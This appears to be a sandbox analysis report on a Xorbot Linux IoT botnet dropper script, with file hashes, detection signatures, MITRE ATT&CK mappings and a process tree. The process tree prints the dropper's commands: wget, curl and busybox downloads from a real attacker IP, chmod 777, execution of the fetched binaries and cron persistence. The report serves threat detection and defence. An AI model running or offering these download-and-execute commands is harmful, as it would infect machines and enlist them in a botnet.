xorbot | 7e955a8cb51233b3f9cce4d2938ff3dd829dcf4b80e9a215135e6df439355cbd

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20250410-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20250410-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
14/04/2025, 08:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

14fe92196204effcebf383b6c229fa20
SHA1

70168b56582087d38df9d37991019b7cdb645179
SHA256

7e955a8cb51233b3f9cce4d2938ff3dd829dcf4b80e9a215135e6df439355cbd
SHA512

dc07bfb36fb437e9259bc2f17a0a01c14ff3ec7958b0e97d77cd1e3699a58cecab8f5c5f60ac5aa12b336cfe14c99f85da351c4475fe313cd0dfb542b3dcf094
SSDEEP

192:ESWimvf23B3N3x3+3e3s0QkJpgU5y5q5uFpYTTLva22z5NRFQ3YsuLhL1Lzm+jTC:ESWimvf23B3N3x3+3e3s0QkJpgUoMJTZ

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1533	chmod
1540	chmod
1547	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	1534	bins.sh
/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	1541	bins.sh
/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	1548	bins.sh

Renames itself 1 IoCs

pid	Process
1549	bins.sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.CMxC2F	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/32/cmdline	bins.sh
File opened for reading	/proc/36/cmdline	bins.sh
File opened for reading	/proc/597/cmdline	bins.sh
File opened for reading	/proc/1639/cmdline	bins.sh
File opened for reading	/proc/280/cmdline	bins.sh
File opened for reading	/proc/30/cmdline	bins.sh
File opened for reading	/proc/174/cmdline	bins.sh
File opened for reading	/proc/1077/cmdline	bins.sh
File opened for reading	/proc/1577/cmdline	bins.sh
File opened for reading	/proc/1088/cmdline	bins.sh
File opened for reading	/proc/1121/cmdline	bins.sh
File opened for reading	/proc/425/cmdline	bins.sh
File opened for reading	/proc/1528/cmdline	bins.sh
File opened for reading	/proc/1576/cmdline	bins.sh
File opened for reading	/proc/175/cmdline	bins.sh
File opened for reading	/proc/179/cmdline	bins.sh
File opened for reading	/proc/1041/cmdline	bins.sh
File opened for reading	/proc/1520/cmdline	bins.sh
File opened for reading	/proc/214/cmdline	bins.sh
File opened for reading	/proc/682/cmdline	bins.sh
File opened for reading	/proc/1011/cmdline	bins.sh
File opened for reading	/proc/1521/cmdline	bins.sh
File opened for reading	/proc/1602/cmdline	bins.sh
File opened for reading	/proc/22/cmdline	bins.sh
File opened for reading	/proc/487/cmdline	bins.sh
File opened for reading	/proc/998/cmdline	bins.sh
File opened for reading	/proc/1049/cmdline	bins.sh
File opened for reading	/proc/1624/cmdline	bins.sh
File opened for reading	/proc/630/cmdline	bins.sh
File opened for reading	/proc/944/cmdline	bins.sh
File opened for reading	/proc/180/cmdline	bins.sh
File opened for reading	/proc/1641/cmdline	bins.sh
File opened for reading	/proc/14/cmdline	bins.sh
File opened for reading	/proc/182/cmdline	bins.sh
File opened for reading	/proc/1588/cmdline	bins.sh
File opened for reading	/proc/1625/cmdline	bins.sh
File opened for reading	/proc/991/cmdline	bins.sh
File opened for reading	/proc/1568/cmdline	bins.sh
File opened for reading	/proc/21/cmdline	bins.sh
File opened for reading	/proc/459/cmdline	bins.sh
File opened for reading	/proc/490/cmdline	bins.sh
File opened for reading	/proc/1057/cmdline	bins.sh
File opened for reading	/proc/1366/cmdline	bins.sh
File opened for reading	/proc/1589/cmdline	bins.sh
File opened for reading	/proc/479/cmdline	bins.sh
File opened for reading	/proc/1081/cmdline	bins.sh
File opened for reading	/proc/1587/cmdline	bins.sh
File opened for reading	/proc/1592/cmdline	bins.sh
File opened for reading	/proc/1645/cmdline	bins.sh
File opened for reading	/proc/79/cmdline	bins.sh
File opened for reading	/proc/1093/cmdline	bins.sh
File opened for reading	/proc/1583/cmdline	bins.sh
File opened for reading	/proc/1618/cmdline	bins.sh
File opened for reading	/proc/1598/cmdline	bins.sh
File opened for reading	/proc/185/cmdline	bins.sh
File opened for reading	/proc/326/cmdline	bins.sh
File opened for reading	/proc/1020/cmdline	bins.sh
File opened for reading	/proc/1156/cmdline	bins.sh
File opened for reading	/proc/1631/cmdline	bins.sh
File opened for reading	/proc/1637/cmdline	bins.sh
File opened for reading	/proc/25/cmdline	bins.sh
File opened for reading	/proc/668/cmdline	bins.sh
File opened for reading	/proc/922/cmdline	bins.sh
File opened for reading	/proc/1564/cmdline	bins.sh

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	busybox
File opened for modification	/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	curl
File opened for modification	/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	wget
File opened for modification	/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	curl
File opened for modification	/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	busybox
File opened for modification	/tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki	wget
File opened for modification	/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	curl
File opened for modification	/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	wget
File opened for modification	/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	busybox
File opened for modification	/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1525
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1526
- /usr/bin/wget
  wget http://87.121.84.214/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - Writes file to tmp directory
  PID:1527
- /usr/bin/curl
  curl -O http://87.121.84.214/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - Writes file to tmp directory
  PID:1531
- /bin/busybox
  /bin/busybox wget http://87.121.84.214/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - Writes file to tmp directory
  PID:1532
- /bin/chmod
  chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - File and Directory Permissions Modification
  PID:1533
- /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  PID:1534
- /bin/rm
  rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  PID:1536
- /usr/bin/wget
  wget http://87.121.84.214/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - Writes file to tmp directory
  PID:1537
- /usr/bin/curl
  curl -O http://87.121.84.214/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - Writes file to tmp directory
  PID:1538
- /bin/busybox
  /bin/busybox wget http://87.121.84.214/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - Writes file to tmp directory
  PID:1539
- /bin/chmod
  chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - File and Directory Permissions Modification
  PID:1540
- /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  PID:1541
- /bin/rm
  rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  PID:1543
- /usr/bin/wget
  wget http://87.121.84.214/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - Writes file to tmp directory
  PID:1544
- /usr/bin/curl
  curl -O http://87.121.84.214/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - Writes file to tmp directory
  PID:1545
- /bin/busybox
  /bin/busybox wget http://87.121.84.214/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - Writes file to tmp directory
  PID:1546
- /bin/chmod
  chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - File and Directory Permissions Modification
  PID:1547
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1551
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1553
- /bin/rm
  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  PID:1555
- /usr/bin/wget
  wget http://87.121.84.214/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  - Writes file to tmp directory
  PID:1558

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki

Filesize
89KB

MD5
1ce16f476f63655a5aa8edda5578c299

SHA1
64314cf341638d04b8b65cc060b8954eb008643c

SHA256
9995ef20b5a9180545d81556d26d1f4e897437a2dd4448382e33811011adf9dd

SHA512
ca984d8ba78e3e1439652b5e1db9041320a0ce5e2d7183509521f6d6cf55d231707765698f8afda7c64a88c157dd1715ac824724bc38182f77608475e1346de1

Download Submit
/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.CMxC2F

Filesize
210B

MD5
ab0c64aeff6298d3ebd4c7e78f0fa4a0

SHA1
9961635cdb05341a9982ce135f766762274fff81

SHA256
c3fd5aa9b3395af35eccbec4d69adeb2f2dbdff7fd0e3e407ea34143f8b24388

SHA512
2da8845ac4e9391945dbd18292304e4423a6261237460edb0f96475cc025710aa8726998d17afeed046c3ff3474ff08e50ab80147130f823f719d123a9556851

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads